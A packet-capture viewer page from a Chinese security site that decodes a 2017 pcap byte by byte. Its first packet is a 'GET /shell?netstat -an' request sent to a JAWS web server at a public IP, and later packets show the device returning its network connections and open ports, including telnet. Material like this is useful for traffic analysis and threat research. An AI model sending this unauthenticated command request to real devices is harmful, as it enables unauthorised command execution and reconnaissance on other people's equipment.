机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170718/20170718180036_77051.pcap Size is:	2980
FileHeader is:	d4c3b2a1020004000000000000000000 0000040001000000

Pack 1
PackHeader is:	c7d56d596d5706007d0100007d010000
DateTime:	2017-07-18 17:32:55.415597
Pack Caplen is:	381
Src MAC is:	0050563f9c7e
Dst MAC is:	ec26caaf42ba
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.124
DecIP Addr is:	181.24.28.53
Data Proctol is:	06(TCP)
Src Port is:	49283
Dec Port is:	8080
SEQ -> NSEQ is:	2027629652->3372656600
Data Len is:	327
Hex Data is:	474554202f7368656c6c3f6e65747374 61742532302d616e20485454502f312e 310d0a4163636570743a202a2f2a0d0a 4163636570742d4c616e67756167653a 207a682d434e0d0a557365722d416765 6e743a204d6f7a696c6c612f342e3020 28636f6d70617469626c653b204d5349 4520382e303b2057696e646f7773204e 5420362e313b20574f5736343b205472 6964656e742f342e303b20534c434332 3b202e4e455420434c5220322e302e35 303732373b202e4e455420434c522033 2e352e33303732393b202e4e45542043 4c5220332e302e33303732393b204d65 6469612043656e74657220504320362e 30290d0a4163636570742d456e636f64 696e673a20677a69702c206465666c61 74650d0a486f73743a203138312e3234 2e32382e35333a383038300d0a436f6e 6e656374696f6e3a204b6565702d416c 6976650d0a0d0a
Binary Data is:	GET /shell?netstat%20-an HTTP/1.1 Accept: / Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Accept-Encoding: gzip, deflate Host: 181.24.28.53:8080 Connection: Keep-Alive
Pack 2
PackHeader is:	c7d56d59532f0d009700000097000000
DateTime:	2017-07-18 17:32:55.864083
Pack Caplen is:	151
Src MAC is:	ec26caaf42ba
Dst MAC is:	0050563f9c7e
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	181.24.28.53
DecIP Addr is:	192.168.0.124
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	49283
SEQ -> NSEQ is:	3372656600->2027629979
Data Len is:	97
Hex Data is:	485454502f312e3120323030204f4b0d 0a5365727665723a204a4157532f312e 30204f637420323720323031340d0a43 6f6e74656e742d547970653a20746578 742f706c61696e0d0a436f6e74656e74 2d4c656e6774683a20323033300d0a0d 0a
Binary Data is:	HTTP/1.1 200 OK Server: JAWS/1.0 Oct 27 2014 Content-Type: text/plain Content-Length: 2030
Pack 3
PackHeader is:	c8d56d592d1501003600000036000000
DateTime:	2017-07-18 17:32:56.70957
Pack Caplen is:	54
Src MAC is:	0050563f9c7e
Dst MAC is:	ec26caaf42ba
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.124
DecIP Addr is:	181.24.28.53
Data Proctol is:	06(TCP)
Src Port is:	49283
Dec Port is:	8080
SEQ -> NSEQ is:	2027629979->3372656697
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	c8d56d59f4bf0700a0020000a0020000
DateTime:	2017-07-18 17:32:56.507892
Pack Caplen is:	672
Src MAC is:	ec26caaf42ba
Dst MAC is:	0050563f9c7e
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	181.24.28.53
DecIP Addr is:	192.168.0.124
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	49283
SEQ -> NSEQ is:	3372658109->2027629979
Data Len is:	618
Hex Data is:	2020202020204c495354454e20202020 20200a75647020202020202020203020 20202020203020302e302e302e303a39 30313320202020202020202020202030 2e302e302e303a2a2020202020202020 20202020202020202020202020202020 2020200a756470202020202020202030 20202020202030203233392e3235352e 3235352e3235313a3830303320202020 302e302e302e303a2a20202020202020 20202020202020202020202020202020 202020200a7564702020202020202020 302020202020203020302e302e302e30 3a343231353120202020202020202020 20302e302e302e303a2a202020202020 20202020202020202020202020202020 20202020200a75647020202020202020 20302020202020203020302e302e302e 303a3535353033202020202020202020 2020302e302e302e303a2a2020202020 20202020202020202020202020202020 2020202020200a41637469766520554e 495820646f6d61696e20736f636b6574 7320287365727665727320616e642065 737461626c6973686564290a50726f74 6f20526566436e7420466c6167732020 20202020205479706520202020202020 5374617465202020202020202020492d 4e6f646520506174680a756e69782020 322020202020205b205d202020202020 202020444752414d2020202020202020 20202020202020202020202020202031 393220402f6f72672f6b65726e656c2f 756465762f75646576640a756e697820 20322020202020205b205d2020202020 20202020444752414d20202020202020 20202020202020202020202020202020 393737202f746d702f72656d6f746570 747a2e736f636b65740a
Binary Data is:	LISTEN udp 0 0 0.0.0.0:9013 0.0.0.0:* udp 0 0 239.255.255.251:8003 0.0.0.0:* udp 0 0 0.0.0.0:42151 0.0.0.0:* udp 0 0 0.0.0.0:55503 0.0.0.0:* Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ] DGRAM 192 @/org/kernel/udev/udevd unix 2 [ ] DGRAM 977 /tmp/remoteptz.socket
Pack 5
PackHeader is:	c8d56d5907c007004200000042000000
DateTime:	2017-07-18 17:32:56.507911
Pack Caplen is:	66
Src MAC is:	0050563f9c7e
Dst MAC is:	ec26caaf42ba
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.124
DecIP Addr is:	181.24.28.53
Data Proctol is:	06(TCP)
Src Port is:	49283
Dec Port is:	8080
SEQ -> NSEQ is:	2027629979->3372656697
Data Len is:	12
Hex Data is:	0101050ac906adbdc906b027
Binary Data is:	��'
Pack 6
PackHeader is:	c9d56d59da600b00ba050000ba050000
DateTime:	2017-07-18 17:32:57.745690
Pack Caplen is:	1466
Src MAC is:	ec26caaf42ba
Dst MAC is:	0050563f9c7e
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	181.24.28.53
DecIP Addr is:	192.168.0.124
Data Proctol is:	06(TCP)
Src Port is:	8080
Dec Port is:	49283
SEQ -> NSEQ is:	3372656697->2027629979
Data Len is:	1412
Hex Data is:	41637469766520496e7465726e657420 636f6e6e656374696f6e732028736572 7665727320616e642065737461626c69 73686564290a50726f746f2052656376 2d512053656e642d51204c6f63616c20 41646472657373202020202020202020 2020466f726569676e20416464726573 73202020202020202020537461746520 2020202020200a746370202020202020 2020302020202020203020302e302e30 2e303a38303830202020202020202020 202020302e302e302e303a2a20202020 20202020202020202020204c49535445 4e2020202020200a7463702020202020 2020203020202020202030203139322e 3136382e312e3131303a383038302020 202020203137382e36322e3139382e36 3a353839353420202020202053594e5f 52454356202020200a74637020202020 20202020302020202020203020302e30 2e302e303a3930313220202020202020 2020202020302e302e302e303a2a2020 202020202020202020202020204c4953 54454e2020202020200a746370202020 20202020203020202020202030203132 372e302e302e313a3930313220202020 2020202020203132372e302e302e313a 34353139312020202020202020204553 5441424c4953484544200a7463702020 20202020202030202020202020302031 32372e302e302e313a34353139312020 202020202020203132372e302e302e31 3a393031322020202020202020202045 535441424c4953484544200a74637020 20202020202020302020202020203020 3139322e3136382e312e3131303a3830 38302020202020203132332e3132322e 3134342e3134333a3533343737202020 45535441424c4953484544200a746370 20202020202020203020202020202030 203139322e3136382e312e3131303a35 3236383520202020203139322e313638 2e312e313a3539373131202020202020 2054494d455f574149542020200a7463 70202020202020202030202020202020 30203139322e3136382e312e3131303a 353236383820202020203139322e3136 382e312e313a35393731312020202020 202054494d455f574149542020200a74 63702020202020202020302020202020 2030203139322e3136382e312e313130 3a353236393220202020203139322e31 36382e312e313a353937313120202020 20202054494d455f574149542020200a 74637020202020202020203020202020 202030203139322e3136382e312e3131 303a353236393120202020203139322e 3136382e312e313a3539373131202020 2020202054494d455f57414954202020 0a746370202020202020202030202020 20202030203132372e302e302e313a34 35313932202020202020202020313237 2e302e302e313a393031322020202020 202020202045535441424c4953484544 200a7463702020202020202020302020 2020202030203139322e3136382e312e 3131303a353236383720202020203139 322e3136382e312e313a353937313120 20202020202054494d455f5741495420 20200a74637020202020202020203020 202020202030203132372e302e302e31 3a393031322020202020202020202031 32372e302e302e313a34353139322020 2020202020202045535441424c495348 4544200a746370202020202020202030 20202020202030203139322e3136382e 312e3131303a35323638342020202020 3139322e3136382e312e313a35393731 312020202020202054494d455f574149 542020200a7463702020202020202020 3020202020202030203a3a3a32332020 20202020202020202020202020202020 203a3a3a2a2020202020202020202020 2020202020202020204c495354454e20 20202020200a74637020202020202020 203020202020202030203a3a3a323520 20202020202020202020202020202020 20203a3a3a2a20202020202020202020 20202020
Binary Data is:	Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN tcp 0 0 192.168.1.110:8080 178.62.198.6:58954 SYN_RECV tcp 0 0 0.0.0.0:9012 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9012 127.0.0.1:45191 ESTABLISHED tcp 0 0 127.0.0.1:45191 127.0.0.1:9012 ESTABLISHED tcp 0 0 192.168.1.110:8080 123.122.144.143:53477 ESTABLISHED tcp 0 0 192.168.1.110:52685 192.168.1.1:59711 TIME_WAIT tcp 0 0 192.168.1.110:52688 192.168.1.1:59711 TIME_WAIT tcp 0 0 192.168.1.110:52692 192.168.1.1:59711 TIME_WAIT tcp 0 0 192.168.1.110:52691 192.168.1.1:59711 TIME_WAIT tcp 0 0 127.0.0.1:45192 127.0.0.1:9012 ESTABLISHED tcp 0 0 192.168.1.110:52687 192.168.1.1:59711 TIME_WAIT tcp 0 0 127.0.0.1:9012 127.0.0.1:45192 ESTABLISHED tcp 0 0 192.168.1.110:52684 192.168.1.1:59711 TIME_WAIT tcp 0 0 :::23 :::* LISTEN tcp 0 0 :::25 :::*
Pack 7
PackHeader is:	c9d56d59dc620b003600000036000000
DateTime:	2017-07-18 17:32:57.746204
Pack Caplen is:	54
Src MAC is:	0050563f9c7e
Dst MAC is:	ec26caaf42ba
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.124
DecIP Addr is:	181.24.28.53
Data Proctol is:	06(TCP)
Src Port is:	49283
Dec Port is:	8080
SEQ -> NSEQ is:	2027629979->3372658727
Data Len is:	0
Hex Data is:
Binary Data is: